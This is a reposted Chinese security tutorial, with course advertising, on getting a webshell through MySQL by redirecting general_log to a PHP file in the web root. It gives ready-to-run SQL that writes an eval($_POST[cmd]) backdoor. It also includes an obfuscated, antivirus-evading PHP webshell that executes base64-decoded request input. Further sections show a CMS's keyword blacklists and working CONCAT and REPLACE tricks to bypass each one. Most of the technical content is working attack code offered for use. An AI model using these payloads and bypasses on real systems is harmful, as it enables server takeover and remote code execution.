【安全科普】SQL语句利用日志写shell及相关绕过

  • A+
所属分类:安全文章
【安全科普】SQL语句利用日志写shell及相关绕过

网安教育

培养网络安全人才

技术交流、学习咨询





0x01 基本原理



在能够写SQL语句的地方,outfile、dumpfile、drop database等都被禁止,一般进行SQL注入来getshell或删库的方式行不通了。

但是如果MySQL是root用户启动的,那么可以进行如下利用:

1show variables like '%general%';  #查看配置
2
3set global general_log = on;  #开启general log模式
4
5set global general_log_file = '/var/www/html/1.php';   #设置日志目录为shell地址
6
7select '<?php eval($_POST[cmd]);?>'  #写入shell


SQL查询免杀shell的语句(参考:SQL语句利用日志写shell):

1SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>"




0x02 Bypass案例



这个案例虽然鸡肋,但是思路还可以。

>>>>

过滤 .php

代码审计某CMS时,看到一处写SQL语句的地方,此处之前报过漏洞,修复方案是过滤了outfile、dumpfile、drop database等,此外还过滤了.php字符串,为的就是防住SQL语句日志写shell:

 1if(stristr($sql'outfile')){
2    $str = '<span class="c-red">ERROR : 检测到非法字符 “outfile”!</span>';
3    break;
4}
5if(stristr($sql'dumpfile')){
6    $str = '<span class="c-red">ERROR : 检测到非法字符 “dumpfile”!</span>';
7    break;
8}
9if(stristr($sql'.php')){
10    $str = '<span class="c-red">ERROR : 检测到非法字符 “.php” !</span>';
11    break;
12}
13if(preg_match("/^drop(.*)database/i"$sql)){
14    $str = '<span class="c-red">ERROR : 不允许删除数据库!</span>';
15    break;
16}


这里直接写上述的SQL语句肯定是不行的,因为set global general_log_file = '/var/www/html/1.php';的.php会被过滤掉。


这里只是针对字符串的检测,可以用字符串拼接的方式Bypass,这里可以使用SQL语句中的concat家族系列函数来实现字符串拼接来Bypass:

1show variables like '%general%';   #查看配置
2
3set global general_log = on;        #开启general log模式
4
5set global general_log_file =CONCAT("/var/www/html/1.","php"); 
6
7select '<?php eval($_POST[cmd]);?>';   #写入shell


>>>>

过滤 .php和concat

在这次报过的漏洞之后,CMS厂商修改了这个洞,就是添加了对concat的字符串过滤,这样concat家族系列函数就使不上了。

 1if(stristr($sql'outfile')){
2    $str = '<span class="c-red">ERROR : 检测到非法字符 “outfile”!</span>';
3    break;
4}
5if(stristr($sql'dumpfile')){
6    $str = '<span class="c-red">ERROR : 检测到非法字符 “dumpfile”!</span>';
7    break;
8}
9if(stristr($sql'.php')){
10    $str = '<span class="c-red">ERROR : 检测到非法字符 “.php” !</span>';
11    break;
12}
13if(stristr($sql'concat')){
14    $str = '<span class="c-red">ERROR : 检测到非法字符 “concat” !</span>';
15    break;
16}
17    if(preg_match("/^drop(.*)database/i"$sql)){
18    $str = '<span class="c-red">ERROR : 不允许删除数据库!</span>';
19        break;
20}


使用concat进行字符串拼接的方式没法绕过了,但是除了字符串拼接,我们还能使用字符串替换的操作来绕过:

1show variables like '%general%';   #查看配置
2
3set global general_log = on;        #开启general log模式
4
5set global general_log_file =REPLACE("/var/www/html/1.jpg","jpg","php"); 
6
7select '<?php eval($_POST[cmd]);?>';   #写入shell


>>>>

过滤 .php、concat和replace


CMS厂商收到新的绕过漏洞报告后,又进行新一轮的修复,过滤了replace:

 1if(stristr($sql'outfile')){
2    $str = '<span class="c-red">ERROR : 检测到非法字符 “outfile”!</span>';
3    break;
4}
5if(stristr($sql'dumpfile')){
6    $str = '<span class="c-red">ERROR : 检测到非法字符 “dumpfile”!</span>';
7    break;
8}
9if(stristr($sql'.php')){
10    $str = '<span class="c-red">ERROR : 检测到非法字符 “.php” !</span>';
11    break;
12}
13if(stristr($sql'concat')){
14    $str = '<span class="c-red">ERROR : 检测到非法字符 “concat” !</span>';
15    break;
16}
17if(stripos($sql'replace')){
18$str = '<span class="c-red">ERROR : 检测到非法字符 “replace” !</span>';
19break;
20}
21if(preg_match("/^drop(.*)database/i"$sql)){
22    $str = '<span class="c-red">ERROR : 不允许删除数据库!</span>';
23    break;
24}


字符串拼接和替换都不能成功进行利用了,还有啥办法不?

当然还有新的Bypass方法哈哈。


【安全科普】SQL语句利用日志写shell及相关绕过

文:Mi1k7ea

原文链接:https://www.mi1k7ea.com

如有侵权请联系删除


开源聚合网安训练营

战疫期间,开源聚合网络安全基础班、实战班线上全面开启,学网络安全技术、升职加薪……有兴趣的可以加入开源聚合网安大家庭,一起学习、一起成长,考证书求职加分、升级加薪,有兴趣的可以咨询客服小姐姐哦!

【安全科普】SQL语句利用日志写shell及相关绕过

加QQ(1271375291)找小姐姐私聊哦



精选文章


环境搭建
Python
学员专辑
信息收集
CNVD
安全求职
渗透实战
CVE
高薪揭秘
渗透测试工具
网络安全行业
神秘大礼包
基础教程
我们贴心备至
用户答疑
 QQ在线客服
加入社群
QQ+微信等着你

【安全科普】SQL语句利用日志写shell及相关绕过


我就知道你“在看”
【安全科普】SQL语句利用日志写shell及相关绕过



本文始发于微信公众号(开源聚合网络空间安全研究院):【安全科普】SQL语句利用日志写shell及相关绕过

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: